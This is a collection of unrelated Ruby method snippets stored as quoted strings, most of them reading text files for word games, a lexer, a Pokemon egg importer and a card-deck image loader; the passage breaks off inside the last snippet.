"def file_to_string_array\n card_list = []\n # File.open(\"./lib/two_cards.txt\").each do |line|\n File.open(@filename).each do |line|\n card_list << line\n end\n card_list.each do |card|\n card.slice!(\"\\n\")\n end\n #puts \"#{@card_list}\"\n #@card_list\n end",
"def initialize file\n word_set = Set.new\n\n File.open(file, \"r\") do |f|\n f.each_line do |raw_line|\n line = raw_line.strip.upcase\n\n if HangmanGame.acceptable_word? line\n word_set.add line\n end\n end\n end\n\n @words = word_set.to_a.freeze\n\n Random.srand\n end",
"def setUpGame\r\n #creates an array to that will be used to hold the words for the text file. \r\n $word_list = []\r\n #The \"file\" class in Ruby calls the \".open\" method which looks inside the specified file, the \".each\" method iterates over each line of the file and is piped (\"|\") to a variable called word \r\n File.open(CONST_WORD_LIST).each do |word|\r\n #The word variable is overwritten each time a new line is read, so each line is being stored into the \"word_list\" array \r\n #is_number? takes in each word and if it returns true, the word is added to the list. \r\n if is_number?(word) then $word_list << word end\r\n if word.chars.count { |char| word.count(char) > 1 } > 1 #each word has its characters inputted and unqiue characters are counted, the count is outputted and checked if it is more than 1 \r\n $word_list.delete(word)\r\n end\r\n puts $word_list\r\n end\r\n #puts $word_list\r\nend",
"def load_categories(file)\n categories = IO.readlines(file)\n\n categories.each do |cat|\n cat.strip!\n end\n\n return categories\nend",
"def read_content(file)\n\t\tcontent = []\n\t\tfile.each do |f|\n\t\t\tif File.file?(f)\n\t\t\t\tFile.open(f, \"r\") do |f|\n\t\t\t\t\tword = \"\"\n\t\t\t\t\tf.each_line do |line|\n\t\t\t\t\t\tword += \"#{line}\"\n\t\t\t\t\tend\n\t\t\t\t\tcontent += [word]\n\t\t\t\tend\n\t\t\tend\t\t\t\n\t\tend\n\t\treturn calculate_content(content)\n\tend",
"def readFile\r\n\t\tfile = File.open(fileName, \"r\")\r\n\r\n\t\t#Array for partial matches\t\t\r\n\t\t@dictionary = Array.new\r\n\t\tfile.each do |line|\r\n\t\t\tif line != \"\\n\"\r\n\t\t\t\t@dictionary << line.split(/[:;\\n]/)\r\n\t\t\tend\r\n\t\tend\r\n\t\tstartStrategies\r\n\tend",
"def read(file)\n\t\tnline = 0\t\t\t# entero que cuenta el numero de lineas en el archivo\n\t\tcomment = false \t# booleano que indica si se ha encontrado o no un comentario\n\t\tfile.each_line do |line|\n\t\t\tnline +=1\t\t# Para cada linea se imcrementa el contador en 1\n\t\t\tncolumn = 1\t\t# En cada nueva linea se inicializa el contador de columnas del archivo en 1 \n\n\t\t\t# Se chequea que la linea a leer no sea vacia\n\t\t\twhile line != \"\"\t\t\t\t\n\t\t\t\t# Para cada linea, se evaluan distintas expresiones regulares para la creacion del token\n\t\t\t\tcase line\n\n\t\t\t\t# Caso inicio/fin de comentario ( {-,-} )\n\t\t\t\twhen /^(\\{\\-|\\-\\})/\n\t\t\t\t\tword = line[/^(\\{\\-|\\-\\})/]\n\t\t\t\t\tif word == \"\\{\\-\"\n\t\t\t\t\t\tcomment = true \t\t# se encontro el inicio de comentario\n\t\t\t\t\t\t@comment << Token.new(nil,nil,nline,ncolumn)\n\t\t\t\t\telsif word == \"\\-\\}\"\n\t\t\t\t\t\tcomment = false \t# se cerro el comentario\n\t\t\t\t\t\[email protected]\n\t\t\t\t\tend\n\t\t\t\t\t# Para este caso no se crea token, simplemente se corta la linea para continuar \n\t\t\t\t\t# con la evaluacion de los siguientes caracteres/palabras\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\tncolumn += word.size()\n\n\t\t\t\t# Caso true,false,read,write\n\t\t\t\twhen /^(true|false|read|write)/\n\t\t\t\t\tword = line[/^(true|false|read|write)/]\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Verifica que la palabra no este dentro de un comentario\n\t\t\t\t\tif !comment then\n\t\t\t\t\t\t# Si se cumple la condicion, se crea un nuevo token\n\t\t\t\t\t\tif word == \"true\" \n\t\t\t\t\t\t\t@tokens << Token.new(:TRUE,true,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"false\" \n\t\t\t\t\t\t\t@tokens << Token.new(:FALSE,false,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"read\"\n\t\t\t\t\t\t\t@tokens << Token.new(:READ,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"write\"\n\t\t\t\t\t\t\t@tokens << Token.new(:WRITE,word,nline,ncolumn)\n\t\t\t\t\t \tend\n\t\t\t\t\t end\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\t ncolumn += word.size()\n\t\t\t\t\t \n\t\t\t\t# Caso cualquier palabra que no sea true,false,read,write (identificadores)\n\t\t\t\twhen /^[a-zA-Z_][a-zA-Z0-9_]*/\n\t\t\t\t\tword = line[/^[a-zA-Z_][a-zA-Z0-9_]*/]\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Verifica que el identificador no este dentro de un comentario\n\t\t\t\t\tif !comment then\n\t\t\t\t\t\t# Si se cumple la condicion, se crea un nuevo token\n\t\t\t\t\t\t@tokens << Token.new(:IDENTIFIER,word,nline,ncolumn)\n\t\t\t\t\tend\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\tncolumn += word.size()\n\n\t\t\t\t# Caso para los numeros\n\t\t\t\twhen /^[0-9][0-9]*/\n\t\t\t\t\tword = line[/^[0-9][0-9]*/]\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Verifica que el numero no este dentro de un comentario\n\t\t\t\t\tif !comment then\n\t\t\t\t\t\t# Si se cumple la condicion, se crea un nuevo token\n\t\t\t\t\t\t\t@tokens << Token.new(:NUMBER,word.to_i,nline,ncolumn)\n\t\t\t\t\tend\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\tncolumn += word.size()\n\n\t\t\t\t# Caso operadores booleanos (/\\,\\/,^)\n\t\t\t\twhen /^(\\\\\\/|\\/\\\\|\\^)/\n\t\t\t\t\tword = line[/^(\\\\\\/|\\/\\\\|\\^)/]\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Verifica que el operador no este dentro de un comentario\n\t\t\t\t\tif !comment then\n\t\t\t\t\t\t# Si se cumple la condicion, se crea un nuevo token\n\t\t\t\t\t\tif word == \"\\^\" \n\t\t\t\t\t\t\t @tokens << Token.new(:NOT,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"\\\\\\/\" \n\t\t\t\t\t\t\t@tokens << Token.new(:OR,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"\\/\\\\\" \n\t\t\t\t\t\t\t@tokens << Token.new(:AND,word,nline,ncolumn)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\tncolumn += word.size()\n\t\t\t\t\t\n\t\t\t\t# Caso lienzos (<|>,<\\>,<->,< >,#)\n\t\t\t\twhen /^(<(\\||\\\\|\\/|\\-|\\_|\\s)>|#)/\n\t\t\t\t\tword = line[/^(<(\\||\\\\|\\/|\\-|\\_|\\s)>|#)/]\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Verifica que el lienzo no este dentro de un comentario\n\t\t\t\t\tif !comment then\n\t\t\t\t\t\t# Si se cumple la condicion, se crea un nuevo token\n\t\t\t\t\t\tif word == \"#\" then \n\t\t\t\t\t\t\t@tokens << Token.new(:EMPTY_CANVAS,[\"\"],nline,ncolumn)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@tokens << Token.new(:CANVAS,[word[1]],nline,ncolumn)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\tncolumn += word.size()\n\n\t\t\t\t# Caso <=,>=,/=,>,<,=\n\t\t\t\twhen /^(>=|<=|\\/=|>|<|=)/\n\t\t\t\t\tword = line[/^(>=|<=|\\/=|>|<|=)/]\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Verifica que el operador no este dentro de un comentario\n\t\t\t\t\tif !comment then\n\t\t\t\t\t\t# Si se cumple la condicion, se crea un nuevo token\n\t\t\t\t\t\tif word == \">=\"\n\t\t\t\t\t\t\t@tokens << Token.new(:MORE_EQUAL,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"<=\"\n\t\t\t\t\t\t\t@tokens << Token.new(:LESS_EQUAL,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"\\/=\"\n\t\t\t\t\t\t\t@tokens << Token.new(:INEQUAL,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \">\"\n\t\t\t\t\t\t\t@tokens << Token.new(:MORE,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"<\"\n\t\t\t\t\t\t\t@tokens << Token.new(:LESS,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"=\"\n\t\t\t\t\t\t\t@tokens << Token.new(:EQUAL,word,nline,ncolumn)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\tncolumn += word.size()\n\n\t\t\t\t# Caso !,%,@\n\t\t\t\twhen /^[!%@]/\n\t\t\t\t\tword = line[/^[!%@]/]\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Verifica que el caracter no este dentro de un comentario\n\t\t\t\t\tif !comment then\n\t\t\t\t\t\t# Si se cumple la condicion, se crea un nuevo token\n\t\t\t\t\t\tif word == \"!\"\n\t\t\t\t\t\t\t@tokens << Token.new(:EXCLAMATION_MARK,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"%\"\n\t\t\t\t\t\t\t@tokens << Token.new(:PERCENT,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"@\"\n\t\t\t\t\t\t\t@tokens << Token.new(:AT,word,nline,ncolumn)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\tncolumn += word.size()\n\n\t\t\t\t# Caso operadores aritmeticos (+,-,*,/)\n\t\t\t\twhen /^(\\+|-|\\*|\\/)/\n\t\t\t\t\tword = line[/^(\\+|-|\\*|\\/)/]\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Verifica que el caracter no este dentro de un comentario\n\t\t\t\t\tif !comment then\n\t\t\t\t\t\t# Si se cumple la condicion, se crea un nuevo token\n\t\t\t\t\t\tif word == \"\\+\"\n\t\t\t\t\t\t\t@tokens << Token.new(:PLUS,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"-\"\n\t\t\t\t\t\t\t@tokens << Token.new(:MINUS,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"\\*\"\n\t\t\t\t\t\t\t@tokens << Token.new(:MULTIPLY,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"\\/\"\n\t\t\t\t\t\t\t@tokens << Token.new(:DIVISION,word,nline,ncolumn)\n\t\t\t\t\t\t\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\tncolumn += word.size()\n\n\t\t\t\t# Caso :,|,$,',&,~,;\n\t\t\t\twhen /^[:|$'&~]/\n\t\t\t\t\tword = line[/^[:|$'&~]/]\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Verifica que el caracter no este dentro de un comentario\n\t\t\t\t\tif !comment then\n\t\t\t\t\t\t# Si se cumple la condicion, se crea un nuevo token\n\t\t\t\t\t\tif word == \":\"\n\t\t\t\t\t\t\t@tokens << Token.new(:COLON,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"|\"\n\t\t\t\t\t\t\t@tokens << Token.new(:PIPE,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"$\"\n\t\t\t\t\t\t\t@tokens << Token.new(:DOLLAR,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"'\"\n\t\t\t\t\t\t\t@tokens << Token.new(:APOSTROPHE,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"&\"\n\t\t\t\t\t\t\t@tokens << Token.new(:AMPERSAND,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"~\"\n\t\t\t\t\t\t\t@tokens << Token.new(:VIRGUILE,word,nline,ncolumn)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\tncolumn += word.size()\n\n\t\t\t\t# Caso {,},[,],(,),?,;,..\n\t\t\t\twhen /^(\\{|\\}|\\[|\\]|\\(|\\)|\\?|;|\\.\\.)/\n\t\t\t\t\tword = line[/^(\\{|\\}|\\[|\\]|\\(|\\)|\\?|;|\\.\\.)/]\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Verifica que el caracter no este dentro de un comentario\n\t\t\t\t\tif !comment then\n\t\t\t\t\t\t# Si se cumple la condicion, se crea un nuevo token\n\t\t\t\t\t\tif word == \"{\"\n\t\t\t\t\t\t\t@tokens << Token.new(:LCURLY,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"}\"\n\t\t\t\t\t\t\t@tokens << Token.new(:RCURLY,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"[\"\n\t\t\t\t\t\t\t@tokens << Token.new(:LBRACKET,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"]\"\n\t\t\t\t\t\t\t@tokens << Token.new(:RBRACKET,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"(\"\n\t\t\t\t\t\t\t@tokens << Token.new(:LPARENTHESIS,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \")\"\n\t\t\t\t\t\t\t@tokens << Token.new(:RPARENTHESIS,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"?\"\n\t\t\t\t\t\t\t@tokens << Token.new(:INTERROGATION_MARK,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \";\"\n\t\t\t\t\t\t\t@tokens << Token.new(:SEMI_COLON,word,nline,ncolumn)\n\t\t\t\t\t\telsif word == \"\\.\\.\"\n\t\t\t\t\t\t\t@tokens << Token.new(:DOUBLE_DOT,word,nline,ncolumn)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\tncolumn += word.size()\n\n\t\t\t\t# Caso espacio en blanco\n\t\t\t\twhen /^\\s/\n\t\t\t\t\tline = line.partition(/^\\s/).last\n\t\t\t\t\t# El tamaño de la columna se incrementa en 1, porque este es el tamaño correspondiente a 1 espacio\n\t\t\t\t\tncolumn += 1\n\n\t\t\t\t# Caso simbolo no aceptado por el lenguaje\n\t\t\t\telse\n\t\t\t\t\tword = line[/^[^\\s\\w]/]\n\t\t\t\t\tline = line.partition(word).last\n\t\t\t\t\t# Verifica que no este dentro de un comentario\n\t\t\t\t\tif !comment then\n\t\t\t\t\t\t# Si se cumple la condicion, se crea un nuevo token\n\t\t\t\t\t\t@invalids << InvalidWord.new(word,nline,ncolumn)\n\t\t\t\t\tend\n\t\t\t\t\t# Para saber en que columna se encuentra la siguiente palabra/caracter, en \n\t\t\t\t\t# lugar de incrementarlo en 1 se le incrementa en el tamaño de la palabra que se haya encontrado\n\t\t\t\t\tncolumn += word.size()\n\n\t\t\t\t# Cierra case\n\t\t\t\tend\n\t\t\t# Cierra while\n\t\t\tend\n\t\t# Cierra do\n\t\tend\t\n\t# Cierra procedimiento read\n\tend",
"def getWord()\n\tFile.open(\"./corncob_lowercase.txt\"){|f|\n\t\tline=nil\n\t\trand(1..58110).times{line=f.gets}\n\t\tputs line\n\t\treturn line.chomp()\n\t}\nend",
"def create_list\n car_set = @car_make\n File.open(@file).each do |word|\n car_set.add(word.to_s.strip)\n end\n end",
"def get_rand_circuit(name=\"circvit\")\n \n name=name.upcase.scan(/[A-Z]/).join.scan(/[^U]/).join.split(//)\n \n \n family= %w{will belief desire}\n family=family.shuffle\n \n fill = Magick::HatchFill.new(\"Transparent\", \"LightGreen\")\n \n i = Magick::ImageList.new \n i.new_image(333, 333, fill){ self.background_color = \"Transparent\" }\n gc = Magick::Draw.new\n \n \n gc.gravity(Magick::CenterGravity)\n gc.stroke(\"#33cc33\")\n gc.fill(\"#222222\")\n gc.stroke_width(20)\n gc.circle(167, 167, 167, 20)\n gc.stroke(\"#3333cc\")\n gc.fill(\"transparent\")\n gc.stroke_width(2)\n gc.circle(167, 167, 167, 25)\n gc.circle(167, 167, 167, 15)\n gc.circle(167, 167, 167, 22)\n gc.circle(167, 167, 167, 17)\n gc.draw(i)\n\n (0..name.length-1).each do |n|\n i.new_image(333, 333){ self.background_color = \"Transparent\" }\n gc = Magick::Draw.new \n gc.stroke(\"transparent\")\n gc.fill(\"transparent\")\n \n gc.pointsize = (52 + (rand(23)) )\n \n gc.gravity(Magick::CenterGravity)\n f=rand(3)\n gc.font= \"#{Rails.root}/app/assets/fonts/akho#{family[f]}.ttf\" \n gc.text((-rand(72) + rand(72)), (-rand(72) + rand(72)), name[n]).rotate(rand(360))\n gc.fill('red')\n gc.text((-rand(72) + rand(72)), (-rand(72) + rand(72)), name[n]).rotate(rand(360))\n gc.draw(i)\n \n end\n \n \n @Circuit=i.flatten_images\n @Circuit.format = 'png'\n \n \n @circuit_file = \"#{Rails.root}/tmp/circuit-#{name.join}-#{Time.now.to_i}-#{Process.pid}.png\"\n \n \n @Circuit.write('png:'+ @circuit_file)\n \n \n \n \n\n @data_uri = Base64.encode64(@Circuit.to_blob).gsub(/\\n/, \"\") \n @image_tag = '<img alt=\"preview\" src=\"data:image/png;base64,%s\">' % @data_uri\n \n end",
"def read_file\n file = File.new(\"/tmp/cipher1.txt\", \"r\")\n text = Array.new()\n line = file.gets\n line.chomp!()\n line.split(/,/).each {\n | num |\n text.push(Integer(num))\n }\n file.close\n return text\nend",
"def beetle_b\n puts File.open(\"./pics/beetle_b.txt\").read\n end",
"def beetle_bh\n puts File.open(\"./pics/beetle_bh.txt\").read\n end",
"def escolhePalavra\n avisaEscolhendoPalavraSecreta\n texto = File.read(\"dicionario.txt\")\n todasAsPalavras = texto.split(\"\\n\")\n numeroEscolhido = rand(todasAsPalavras.size)\n palavraSecreta = todasAsPalavras[numeroEscolhido].downcase #Deixa as letras minusculas\n avisaPalavraEscolhida(palavraSecreta)\nend",
"def to_s(players = [])\n File.open(@file_name).readlines.each_with_index do |line, line_index|\n line.chars.each_with_index do |char, char_index|\n x, y = char_index, line_index\n players.each_with_index do |player, index|\n if char == Cell::TYPES[:start]\n break\n end\n char = index.to_s if cell_occupied_by?(player, x, y)\n end\n print char\n @matrix[[x, y]] = Cell.new(char)\n end\n end\n #Adding an empty line after printing the labyrinth.\n puts\n end",
"def import_ori(file_path)\n string = IO.read(file_path)\n array = string.split(\"\\n\")\n array.shift\n return array\n end",
"def getEggsFromFile(string,ignore=false)\r\n \r\n \r\n records=[]\r\n constants=\"\"\r\n itemnames=[]\r\n itemdescs=[]\r\n maxValue=0\r\n eggs=[]\r\n numberline = 0\r\n failedLastEgg=false\r\n\r\n # We open the Pokemon data file for legality checks\r\n eggEmerald=File.open(\"Data/eggEmerald.dat\",\"rb\")\r\n \r\n # We iterate through each line of the \"Egglocke\" file\r\n pbCompilerEachPreppedLine(\"Egglocke/\"+string+\".txt\"){|line,lineno|\r\n # Do not edit: extracts expected data types (ie s = string, i = int)\r\n linerecord=pbGetCsvRecord(line,lineno,[0,\"vsuunnuuuuuuiiii\"])\r\n \r\n egg = nil\r\n \r\n # We should only increase the number we are on if the past egg failed \r\n # (ie: overwrite bad eggs with good eggs)\r\n if !failedLastEgg\r\n numberline += 1\r\n else\r\n failedLastEgg=false\r\n end\r\n \r\n # First value of a stored egg should be its species\r\n if linerecord[0]!=\"\" && linerecord[0] && linerecord[0].to_i != 0\r\n # ID is illegal => fails\r\n if !checkIsIDLegal(linerecord[0].to_i)\r\n return \"Pokemon species \"+PBSpecies.getName(linerecord[0].to_i).to_s+\"(\"+linerecord[0].to_s+\") is illegal. It is either a legendary or a non-basic Pokemon, and is not allowed to be used. (Line:\"+numberline.to_s+\")\" if !ignore\r\n failedLastEgg=true\r\n break\r\n end\r\n egg = PokeBattle_Pokemon.new(linerecord[0].to_i,1,nil,false)\r\n else\r\n # Species is 0 or otherwise null => impossible, fails\r\n return \"Error on line \"+numberline.to_s+\", the first part. Could not read, or not a number.\" if !ignore\r\n failedLastEgg=true\r\n break\r\n end\r\n \r\n # Second value is a species name\r\n if linerecord[1]!=\"\" && linerecord[1]\r\n egg.name=linerecord[1]\r\n else\r\n # Name is empty or otherwise undefined\r\n return \"Error on line \"+numberline.to_s+\", the nickname (second part). Could not be read.\" if !ignore\r\n failedLastEgg=true\r\n break\r\n end\r\n \r\n # Third value is item.\r\n if linerecord[2]!=\"\" && linerecord[2]\r\n if checkIsItemLegal(linerecord[2].to_i)\r\n egg.item=linerecord[2].to_i\r\n else\r\n # Item is illegal\r\n return \"Item equipped to Pokemon on line \"+numberline+\" \"+PBItems.getName(linerecord[2].to_i)+\" is illegal.\" if !ignore\r\n failedLastEgg=true\r\n break\r\n end\r\n else\r\n # Item is empty or null\r\n return \"Error on line \"+numberline.to_s+\", the item (third part). Could not be read.\" if !ignore\r\n failedLastEgg=true\r\n break\r\n end\r\n \r\n # Fourth value is the ability. Should be 0, 1, 2.\r\n if linerecord[3]!=\"\" && linerecord[3] && linerecord[3].to_i < 3 && linerecord[3].to_i > -1\r\n egg.setAbility(linerecord[3].to_i)\r\n else\r\n # Ability is empty, null, or not 0,1,2.\r\n return \"Error on line \"+numberline.to_s+\", the ability (fourth part). Could not be read.\" if !ignore\r\n failedLastEgg=true\r\n break\r\n end\r\n \r\n # Fifth value is gender marker\r\n if linerecord[4]!=\"\" && linerecord[4]\r\n if linerecord[4]==\"Male\"\r\n linerecord[4]=0\r\n elsif linerecord[4]==\"Female\"\r\n linerecord[4]=1\r\n elsif linerecord[4]==\"Genderless\"\r\n linerecord[4]=2\r\n else\r\n linerecord[4]=linerecord[4].to_i\r\n end\r\n \r\n tempint = linerecord[4].to_i-1\r\n egg.setGender(linerecord[4].to_i)\r\n else\r\n # Bad gender\r\n return \"Error on line \"+numberline.to_s+\", the gender (5th part). Could not be read.\" if !ignore\r\n failedLastEgg=true\r\n break\r\n end\r\n \r\n # Sixth value is nature marker\r\n if linerecord[5]!=\"\" && linerecord[5] \r\n egg.setNature(parseNature(linerecord[5]))\r\n else\r\n # Not a valid nature number\r\n return \"Error on line \"+numberline.to_s+\", the nature (6th part). Could not be read.\" if !ignore\r\n failedLastEgg=true\r\n break\r\n end\r\n\r\n # Seventh through twelfth are \"IVs\". \r\n for integer in 6..11\r\n if linerecord[integer]!=\"\" && linerecord[integer]\r\n egg.iv[integer-6] = linerecord[integer]\r\n else\r\n # Invalid IVs. Don't need to check number sanity for less than 31.\r\n return \"Error on line \"+numberline.to_s+\", in the IVs (6-11th part). Could not be read.\" if !ignore\r\n failedLastEgg=true\r\n break\r\n end\r\n end\r\n \r\n # Thirteen through sixteen are moves\r\n for integer in 12..15\r\n if linerecord[integer]!=\"\" && linerecord[integer] \r\n if isMoveLegalForSpecies(linerecord[0].to_i,linerecord[integer].to_i,eggEmerald)\r\n egg.moves[i]=PBMove.new(linerecord[0].to_i,linerecord[integer].to_i)\r\n else\r\n # We do not throw an error if the move is illegal here\r\n # We just have an empty move slot (which is OK).\r\n end\r\n else\r\n return \"Error on line \"+numberline.to_s+\", in the moves (12-15th part). Could not be read.\" if !ignore\r\n failedLastEgg=true\r\n break\r\n end\r\n end\r\n \r\n eggs[numberline] = egg\r\n }\r\n eggEmerald.close\r\n return eggs\r\nend",
"def read_file(path)\n lines = []\n count = 0\n vocab = Set.new\n File.open(path, \"r:ISO-8859-1\").each do |line|\n line = line.strip\n vocab.merge(parse_vocab(line))\n lines << line\n count += 1\n end\n return lines, vocab\nend",
"def lignes_exercices\n @lignes_exercices ||= File.read(fingerings_path).split(\"\\n\")\n end",
"def constructListFromFile(input)\n\t\t\tresult = Array.new()\n\t\t\tsize = input.size/6\n\t\t\tfor i in 0..size-1\n\t\t\t\talimento = Alimento.new(input[6*i], input[6*i+1].to_f, input[6*i+2].to_f, input[6*i+3].to_f, input[6*i+4].to_f, input[6*i+5].to_f)\n\t\t\t\tresult.append( alimento )\n\t\t\tend\n\t\t\treturn result\n\t\tend",
"def get_razor()\n file = File.read('/Users/devlon.d/src/obsidian_utils-master/razors.json')\n razors = JSON.parse(file)\n\n random_razor = razors[\"razors\"].sample\n\n razor_content = random_razor[\"title\"]\n razor_content.concat(\"\\n\")\n\n random_razor[\"lines\"].each do |content|\n razor_content.concat(content[\"line\"])\n razor_content.concat(\"\\n\")\n end\n\n return razor_content\nend",
"def load_deck\n File.open(File.dirname(__FILE__) + '/deck.txt') do |file|\n begin\n @deck = eval(file.lines.to_a.join('') ).map{ |card| Card.from_hash(card) }\n puts 'deck loaded'\n @deck.each{ |x| puts x.inspect }\n rescue Exception => e\n puts \"got exception #{e.message}\"\n @deck = []\n end\n end\n end",
"def load_cards(folder)\r\n num_cards_onsuit = 10\r\n card_fname = \"\"\r\n if @deck_france\r\n num_cards_onsuit = 13\r\n @nomi_simboli = ['simbo', 'simbo', 'simbo' ]\r\n @nomi_semi = [\"fiori\", \"quadr\", \"cuori\", \"picch\"]\r\n end\r\n @log.debug \"Load cards in #{folder}, current deck is #{@current_deck_type}\" \r\n if @current_deck_type == folder\r\n @log.debug \"Avoid to load a new card deck\"\r\n return\r\n end \r\n begin\r\n # Il modo di caricare le immagini con una linea l'ho copiato dall'esempio FxGui dctest.rb\r\n # In quell'esempio l'immagine png era gi� trasperente di per se. Non dimenticare di chiamare create prima di usare drawimage\r\n # dctest.rb � un esempio fake, in quanto l'immagine viene riprodotta col suo background originale bianco, che � anche lo sfondo del canvas\r\n # Per rendere l'immmagine veramente trasparente bisogna usare il metodo blend prima di create\r\n @cards = []\r\n @cards_rotated = []\r\n folder_fullpath = File.join(@resource_path, \"carte/#{folder}\")\r\n deck_info_yaml = File.join(folder_fullpath, 'mazzo_info')\r\n if File.exist?(deck_info_yaml)\r\n opt_deck = YAML::load_file( deck_info_yaml )\r\n if opt_deck[:num_carte] != nil\r\n num_cards_onsuit = opt_deck[:num_carte] / 4\r\n end \r\n end\r\n folder = folder_fullpath.strip\r\n @foldercards_fullpath = folder\r\n @log.debug \"Load all cards...\"\r\n if num_cards_onsuit == 13\r\n # abbiamo un mazzo da 52 carte, bisogna aggiustare i simboli\r\n @deck_information.mazzo52\r\n else\r\n @deck_information.mazzo40\r\n end\r\n 4.times do |seed| \r\n (1..num_cards_onsuit).each do |index|\r\n card_fname = File.join(folder, \"%02d_#{@nomi_semi[seed]}.png\" % index)\r\n #img = FXPNGImage.new(getApp(), nil, IMAGE_KEEP|IMAGE_ALPHACOLOR)\r\n #img = FXPNGIcon.new(getApp(), nil, Fox.FXRGB(0, 128, 0), IMAGE_KEEP|IMAGE_ALPHACOLOR )\r\n #img = FXPNGIcon.new(getApp, File.open(card_fname).read,\r\n # IMAGE_KEEP|IMAGE_SHMI|IMAGE_SHMP)\r\n img = FXPNGIcon.new(getApp, nil,\r\n IMAGE_KEEP|IMAGE_SHMI|IMAGE_SHMP)\r\n FXFileStream.open(card_fname, FXStreamLoad) { |stream| img.loadPixels(stream) }\r\n #p card_fname\r\n #p img.hasAlpha?\r\n #p img.transparentColor\r\n #img.blend(@color_backround) # molto importante, altrimenti le immagini pgn trasparenti non vengono affatto riprodotte come tali\r\n #@cards << FXPNGImage.new(getApp(), File.open(card_fname, \"rb\").read)\r\n @cards << img\r\n \r\n #rotated image\r\n if @using_rotated_card\r\n #img_rotated = FXPNGIcon.new(getApp(), nil, Fox.FXRGB(0, 128, 0), IMAGE_KEEP|IMAGE_ALPHACOLOR )\r\n #FXFileStream.open(card_fname, FXStreamLoad) { |stream| img_rotated.loadPixels(stream) }\r\n #img_rotated.blend(@color_backround)\r\n img_rotated = FXPNGIcon.new(getApp, nil, IMAGE_KEEP|IMAGE_SHMI|IMAGE_SHMP)\r\n FXFileStream.open(card_fname, FXStreamLoad) { |stream| img_rotated.loadPixels(stream) }\r\n img_rotated.rotate 90\r\n @cards_rotated << img_rotated\r\n end\r\n end\r\n end\r\n \r\n #symbols\r\n @symbols_card = []\r\n 